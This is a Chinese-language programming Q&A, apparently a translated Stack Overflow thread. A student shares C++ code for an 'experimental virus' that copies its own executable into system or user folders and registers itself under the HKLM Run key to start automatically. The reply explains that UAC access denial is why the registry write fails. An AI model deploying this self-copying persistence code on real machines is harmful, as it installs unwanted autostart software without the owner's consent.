0

我正在为我的学校项目编写一个实验性病毒。它应该复制自己，开始自己。我从这篇文章开始，我来到了这个：

#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;

void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD  bufSize = MAX_PATH;

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];

if(!CopyFile(pathtofile, sysfull, false))
{
    sysfull = L"C:\\Users\\Public\\virus.exe";
    if(!CopyFile(pathtofile, sysfull, false))
    {
        GetUserName(user, &bufSize);
        std::wstring u(L"C:\\Users\\");
        u += std::wstring(user);
        u += std::wstring(L"\\Documents\\virus.exe");
        sysfull = &u[0];
        CopyFile(pathtofile, sysfull, false);
    }
}

HKEY hKey;

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}

问题是当我在 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 下查看 regedit 时，没有新密钥。RegOpenKeyEx 和 RegSetValueEx 返回 true，一切似乎都运行良好，但事实并非如此，我也不知道为什么。

我在 Windows 8 上并使用 VS12。

4

1 回答 1

1

Windows Vista 及更高版本通过称为UACHKEY_LOCAL_MACHINE_KEY的机制阻止对某些敏感位置（如、等）的写访问。如果启用了 UAC（默认情况下），则默认情况下管理员级别的用户拥有一组减少的权限，并且程序需要使用一种称为提升的技术来获得完全的管理员权限。或者，您可以通过右键菜单以管理员身份启动您的程序，以授予其完全访问权限。C:\Windows

无论哪种方式，在打开 UAC 的情况下，用户都需要在授予权限之前通过对话框批准提升。

注册表功能，如RegOpenKeyEx()成功返回 0，失败时返回错误代码 - 不是真/假。如果您正确检查返回代码，您会看到他们返回 5，即ERROR_ACCESS_DENIED.

于 2013-10-05T20:29:40.697 回答